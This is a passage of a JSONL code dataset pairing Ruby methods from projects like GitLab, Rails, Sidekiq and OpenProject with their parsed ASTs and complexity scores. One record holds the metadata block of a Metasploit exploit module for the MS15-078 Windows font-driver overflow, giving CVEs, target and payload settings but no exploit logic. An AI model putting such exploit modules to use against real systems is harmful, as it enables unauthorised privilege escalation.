\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"class_name\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@lifecycle_plugins\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"lifecycle_class\"]},\"new\"]}]}]}]}","id":"2e25114a-9145-44fb-a561-b5767902ac0d"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/group.rb","start_line":1329,"raw_source":"def max_member_access(user)\n    Gitlab::SafeRequestLoader.execute(\n      resource_key: max_member_access_for_resource_key(User),\n      resource_ids: [user.id],\n      default_value: Gitlab::Access::NO_ACCESS\n    ) do |_|\n      next {} unless user.active?\n\n      members_with_parents(only_active_users: false).where(user_id: user.id).group(:user_id).maximum(:access_level)\n    end.fetch(user.id)\n  end","complexity_score":19.0,"ast_json":"{\"type\":\"def\",\"children\":[\"max_member_access\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"SafeRequestLoader\"]},\"execute\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"resource_key\"]},{\"type\":\"send\",\"children\":[null,\"max_member_access_for_resource_key\",{\"type\":\"const\",\"children\":[null,\"User\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"resource_ids\"]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"id\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default_value\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Access\"]},\"NO_ACCESS\"]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"_\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"active?\"]},null,{\"type\":\"next\",\"children\":[{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"members_with_parents\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"only_active_users\"]},{\"type\":\"false\",\"children\":[]}]}]}]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"id\"]}]}]}]},\"group\",{\"type\":\"sym\",\"children\":[\"user_id\"]}]},\"maximum\",{\"type\":\"sym\",\"children\":[\"access_level\"]}]}]}]},\"fetch\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"id\"]}]}]}","id":"87f0fa51-000a-4223-bc24-79a5245ee5dd"}
{"repo_name":"sidekiq","file_path":"./repos/sidekiq/lib/sidekiq/testing.rb","start_line":177,"raw_source":"def [](queue)\n        jobs_by_queue[queue]\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"[]\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"queue\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"jobs_by_queue\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"queue\"]}]}]}","id":"83cfcb93-ffa4-4753-b7d8-abbbe89ce510"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/local/ms15_078_atmfd_bof.rb","start_line":31,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        {\n          'Name' => 'MS15-078 Microsoft Windows Font Driver Buffer Overflow',\n          'Description' => %q{\n            This module exploits a pool based buffer overflow in the atmfd.dll driver when parsing\n            a malformed font. The vulnerability was exploited by the hacking team and disclosed in\n            the July data leak. This module has been tested successfully on vulnerable builds of\n            Windows 8.1 x64.\n          },\n          'License' => MSF_LICENSE,\n          'Author' => [\n            'Eugene Ching', # vulnerability discovery and exploit\n            'Mateusz Jurczyk', # vulnerability discovery\n            'Cedric Halbronn', # vulnerability and exploit analysis\n            'juan vazquez'     # msf module\n          ],\n          'Arch' => ARCH_X64,\n          'Platform' => 'win',\n          'SessionTypes' => [ 'meterpreter' ],\n          'DefaultOptions' => {\n            'EXITFUNC' => 'thread'\n          },\n          'Targets' => [\n            [ 'Windows 8.1 x64', {} ]\n          ],\n          'Payload' => {\n            'Space' => 4096,\n            'DisableNops' => true\n          },\n          'References' => [\n            ['CVE', '2015-2426'],\n            ['CVE', '2015-2433'],\n            ['MSB', 'MS15-078'],\n            ['MSB', 'MS15-080'],\n            ['URL', 'https://github.com/vlad902/hacking-team-windows-kernel-lpe'],\n            ['URL', 'https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2015/september/exploiting-cve-2015-2426-and-how-i-ported-it-to-a-recent-windows-8.1-64-bit/'],\n            ['URL', 'https://code.google.com/p/google-security-research/issues/detail?id=369'],\n            ['URL', 'https://code.google.com/p/google-security-research/issues/detail?id=480']\n          ],\n          'DisclosureDate' => '2015-07-11',\n          'DefaultTarget' => 0,\n          'Compat' => {\n            'Meterpreter' => {\n              'Commands' => %w[\n                stdapi_sys_process_attach\n                stdapi_sys_process_execute\n                stdapi_sys_process_thread_create\n              ]\n            }\n          },\n          'Notes' => {\n            'Reliability' => UNKNOWN_RELIABILITY,\n            'Stability' => UNKNOWN_STABILITY,\n            'SideEffects' => UNKNOWN_SIDE_EFFECTS\n          }\n        }\n      )\n    )\n  end","complexity_score":3.3,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"MS15-078 Microsoft Windows Font Driver Buffer Overflow\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"            This module exploits a pool based buffer overflow in the atmfd.dll driver when parsing\\n\"]},{\"type\":\"str\",\"children\":[\"            a malformed font. The vulnerability was exploited by the hacking team and disclosed in\\n\"]},{\"type\":\"str\",\"children\":[\"            the July data leak. This module has been tested successfully on vulnerable builds of\\n\"]},{\"type\":\"str\",\"children\":[\"            Windows 8.1 x64.\\n\"]},{\"type\":\"str\",\"children\":[\"          \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Eugene Ching\"]},{\"type\":\"str\",\"children\":[\"Mateusz Jurczyk\"]},{\"type\":\"str\",\"children\":[\"Cedric Halbronn\"]},{\"type\":\"str\",\"children\":[\"juan vazquez\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_X64\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"win\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SessionTypes\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"meterpreter\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultOptions\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"EXITFUNC\"]},{\"type\":\"str\",\"children\":[\"thread\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Targets\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Windows 8.1 x64\"]},{\"type\":\"hash\",\"children\":[]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Payload\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Space\"]},{\"type\":\"int\",\"children\":[4096]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisableNops\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2015-2426\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2015-2433\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"MSB\"]},{\"type\":\"str\",\"children\":[\"MS15-078\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"MSB\"]},{\"type\":\"str\",\"children\":[\"MS15-080\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://github.com/vlad902/hacking-team-windows-kernel-lpe\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2015/september/exploiting-cve-2015-2426-and-how-i-ported-it-to-a-recent-windows-8.1-64-bit/\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://code.google.com/p/google-security-research/issues/detail?id=369\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://code.google.com/p/google-security-research/issues/detail?id=480\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2015-07-11\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultTarget\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Compat\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Meterpreter\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Commands\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"stdapi_sys_process_attach\"]},{\"type\":\"str\",\"children\":[\"stdapi_sys_process_execute\"]},{\"type\":\"str\",\"children\":[\"stdapi_sys_process_thread_create\"]}]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_RELIABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_STABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_SIDE_EFFECTS\"]}]}]}]}]}]}]}]}","id":"9c60a52a-d3b9-4424-91a6-4933a3276af7"}
{"repo_name":"openproject","file_path":"./repos/openproject/lib/api/caching/cached_representer.rb","start_line":200,"raw_source":"def json_key_parts_of_represented\n          self.class.cached_representer_configuration[:key_parts].map do |association|\n            represented.send(association)\n          end\n        end","complexity_score":10.8,"ast_json":"{\"type\":\"def\",\"children\":[\"json_key_parts_of_represented\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"cached_representer_configuration\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"key_parts\"]}]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"association\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"represented\"]},\"send\",{\"type\":\"lvar\",\"children\":[\"association\"]}]}]}]}","id":"2ec2d56e-7223-4531-8496-b4944312556e"}
{"repo_name":"puma","file_path":"./repos/puma/test/test_integration_cluster.rb","start_line":615,"raw_source":"def test_puma_debug_loaded_exts\n    cli_server \"-w #{workers} test/rackup/hello.ru\", puma_debug: true\n\n    assert wait_for_server_to_include('Loaded Extensions - worker 0:')\n    assert wait_for_server_to_include('Loaded Extensions - master:')\n    @pid = @server.pid\n  end","complexity_score":8.6,"ast_json":"{\"type\":\"def\",\"children\":[\"test_puma_debug_loaded_exts\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"cli_server\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"-w \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"workers\"]}]},{\"type\":\"str\",\"children\":[\" test/rackup/hello.ru\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"puma_debug\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert\",{\"type\":\"send\",\"children\":[null,\"wait_for_server_to_include\",{\"type\":\"str\",\"children\":[\"Loaded Extensions - worker 0:\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert\",{\"type\":\"send\",\"children\":[null,\"wait_for_server_to_include\",{\"type\":\"str\",\"children\":[\"Loaded Extensions - master:\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@pid\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@server\"]},\"pid\"]}]}]}]}","id":"1bc71fed-4a87-4075-941c-57567765a7e9"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-lti/lib/discourse_lti/lti_omniauth_strategy.rb","start_line":242,"raw_source":"def raw_public_key\n    raw = options.platform_public_key\n    if raw.start_with?(\"-----BEGIN\")\n      raw\n    else\n      \"-----BEGIN PUBLIC KEY-----\\n#{raw}\\n-----END PUBLIC KEY-----\"\n    end\n  end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"raw_public_key\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"raw\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"options\"]},\"platform_public_key\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"raw\"]},\"start_with?\",{\"type\":\"str\",\"children\":[\"-----BEGIN\"]}]},{\"type\":\"lvar\",\"children\":[\"raw\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"-----BEGIN PUBLIC KEY-----\\n\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"raw\"]}]},{\"type\":\"str\",\"children\":[\"\\n-----END PUBLIC KEY-----\"]}]}]}]}]}","id":"f77ca2bb-3dad-4ce3-9672-b589da305a47"}
{"repo_name":"forem","file_path":"./repos/forem/spec/mailers/previews/notify_mailer_preview.rb","start_line":16,"raw_source":"def new_comment_mention_email\n    mention = Mention.find_or_create_by(user: User.find(1), mentionable: Comment.find(1))\n    NotifyMailer.with(mention: mention).new_mention_email\n  end","complexity_score":7.3,"ast_json":"{\"type\":\"def\",\"children\":[\"new_comment_mention_email\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"mention\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Mention\"]},\"find_or_create_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"find\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"mentionable\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Comment\"]},\"find\",{\"type\":\"int\",\"children\":[1]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"NotifyMailer\"]},\"with\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"mention\"]},{\"type\":\"lvar\",\"children\":[\"mention\"]}]}]}]},\"new_mention_email\"]}]}]}","id":"2b06d4df-72a4-487d-93b8-4e314085ecb8"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/enterprise/app/services/internal/reconcile_plan_config_service.rb","start_line":52,"raw_source":"def reconcile_premium_features\n    Account.find_in_batches do |accounts|\n      accounts.each do |account|\n        account.disable_features!(*premium_features)\n      end\n    end\n  end","complexity_score":6.8,"ast_json":"{\"type\":\"def\",\"children\":[\"reconcile_premium_features\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Account\"]},\"find_in_batches\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"accounts\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"accounts\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"account\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"account\"]},\"disable_features!\",{\"type\":\"splat\",\"children\":[{\"type\":\"send\",\"children\":[null,\"premium_features\"]}]}]}]}]}]}","id":"b117b7bc-f035-4510-8019-5190116ca056"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/error_tracking.rb","start_line":223,"raw_source":"def inject_context_for_exception(event, ex)\n        sql = Gitlab::ExceptionLogFormatter.find_sql(ex)\n\n        event.extra[:sql] = sql if sql\n      end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"inject_context_for_exception\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"event\"]},{\"type\":\"arg\",\"children\":[\"ex\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"sql\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"ExceptionLogFormatter\"]},\"find_sql\",{\"type\":\"lvar\",\"children\":[\"ex\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sql\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"event\"]},\"extra\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"sql\"]},{\"type\":\"lvar\",\"children\":[\"sql\"]}]},null]}]}]}","id":"e3a47dd5-df02-458b-a68a-a77b01e7e2b6"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/test/template/form_options_helper_test.rb","start_line":140,"raw_source":"def test_collection_options_with_preselected_and_disabled_value\n    assert_dom_equal(\n      \"<option value=\\\"&lt;Abe&gt;\\\">&lt;Abe&gt; went home</option>\\n<option value=\\\"Babe\\\" disabled=\\\"disabled\\\">Babe went home</option>\\n<option value=\\\"Cabe\\\" selected=\\\"selected\\\">Cabe went home</option>\",\n      options_from_collection_for_select(dummy_posts, \"author_name\", \"title\", selected: \"Cabe\", disabled: \"Babe\")\n    )\n  end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"test_collection_options_with_preselected_and_disabled_value\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert_dom_equal\",{\"type\":\"str\",\"children\":[\"<option value=\\\"&lt;Abe&gt;\\\">&lt;Abe&gt; went home</option>\\n<option value=\\\"Babe\\\" disabled=\\\"disabled\\\">Babe went home</option>\\n<option value=\\\"Cabe\\\" selected=\\\"selected\\\">Cabe went home</option>\"]},{\"type\":\"send\",\"children\":[null,\"options_from_collection_for_select\",{\"type\":\"send\",\"children\":[null,\"dummy_posts\"]},{\"type\":\"str\",\"children\":[\"author_name\"]},{\"type\":\"str\",\"children\":[\"title\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"selected\"]},{\"type\":\"str\",\"children\":[\"Cabe\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"disabled\"]},{\"type\":\"str\",\"children\":[\"Babe\"]}]}]}]}]}]}","id":"188861d0-8512-4940-b25d-07f23b4f00d8"}
{"repo_name":"brakeman","file_path":"./repos/brakeman/test/tests/brakeman.rb","start_line":205,"raw_source":"def test_quiet_option_from_commandline\n    config = Tempfile.new(\"config\")\n\n    config.write <<-YAML.strip\n    ---\n    app_path: \"/tmp\"\n    YAML\n\n    config.close\n\n    options = {\n      :config_file => config.path,\n      :quiet => true,\n      :app_path => \"/tmp\" #doesn't need to be real\n    }\n\n    assert_output \"\" do\n      Brakeman.set_options(options)\n    end\n  end","complexity_score":10.3,"ast_json":"{\"type\":\"def\",\"children\":[\"test_quiet_option_from_commandline\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"config\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Tempfile\"]},\"new\",{\"type\":\"str\",\"children\":[\"config\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"config\"]},\"write\",{\"type\":\"send\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"    ---\\n\"]},{\"type\":\"str\",\"children\":[\"    app_path: \\\"/tmp\\\"\\n\"]}]},\"strip\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"config\"]},\"close\"]},{\"type\":\"lvasgn\",\"children\":[\"options\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"config_file\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"config\"]},\"path\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"quiet\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"app_path\"]},{\"type\":\"str\",\"children\":[\"/tmp\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_output\",{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Brakeman\"]},\"set_options\",{\"type\":\"lvar\",\"children\":[\"options\"]}]}]}]}]}","id":"ac1ae9af-17bf-4995-9abc-a1f82a2724fb"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/concerns/reset_on_column_errors.rb","start_line":45,"raw_source":"def reset_on_unknown_attribute_error(exception)\n    self.class.do_reset(exception) if self.class.should_reset?\n\n    raise\n  end","complexity_score":6.6,"ast_json":"{\"type\":\"def\",\"children\":[\"reset_on_unknown_attribute_error\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"exception\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"should_reset?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"do_reset\",{\"type\":\"lvar\",\"children\":[\"exception\"]}]},null]},{\"type\":\"send\",\"children\":[null,\"raise\"]}]}]}","id":"c4e78e83-77e9-48a7-84ec-6db802ba7ec8"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/finders/crm/contacts_finder.rb","start_line":78,"raw_source":"def state?\n      params[:state].present?\n    end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"state?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"state\"]}]},\"present?\"]}]}","id":"954fc125-74de-48c3-804c-17a6b2e6071e"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/validators/json_validator.rb","start_line":143,"raw_source":"def add_format_error(record, path, expected)\n    if path.length == 1\n      record.errors.add(path[0], :format, expected:)\n    else\n      record.errors.add(path[0], :format_nested, expected:, path: path[1])\n    end\n  end","complexity_score":12.58,"ast_json":"{\"type\":\"def\",\"children\":[\"add_format_error\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"record\"]},{\"type\":\"arg\",\"children\":[\"path\"]},{\"type\":\"arg\",\"children\":[\"expected\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]},\"length\"]},\"==\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"record\"]},\"errors\"]},\"add\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"sym\",\"children\":[\"format\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"expected\"]},{\"type\":\"lvar\",\"children\":[\"expected\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"record\"]},\"errors\"]},\"add\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"sym\",\"children\":[\"format_nested\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"expected\"]},{\"type\":\"lvar\",\"children\":[\"expected\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"path\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]}]}]}]}]}]}","id":"e360f313-4b8a-407e-831d-0c8af5733dac"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/exports/formatters/custom_field_pdf.rb","start_line":50,"raw_source":"def format_for_export(object, custom_field)\n        if custom_field.field_format == \"bool\"\n          value = object.typed_custom_value_for(custom_field)\n          value ? I18n.t(:general_text_Yes) : I18n.t(:general_text_No)\n        elsif custom_field.field_format == \"link\"\n          LinkFormatter.new(object, custom_field)\n        else\n          super\n        end\n      end","complexity_score":14.1,"ast_json":"{\"type\":\"def\",\"children\":[\"format_for_export\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"object\"]},{\"type\":\"arg\",\"children\":[\"custom_field\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"custom_field\"]},\"field_format\"]},\"==\",{\"type\":\"str\",\"children\":[\"bool\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"value\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"object\"]},\"typed_custom_value_for\",{\"type\":\"lvar\",\"children\":[\"custom_field\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"sym\",\"children\":[\"general_text_Yes\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"sym\",\"children\":[\"general_text_No\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"custom_field\"]},\"field_format\"]},\"==\",{\"type\":\"str\",\"children\":[\"link\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"L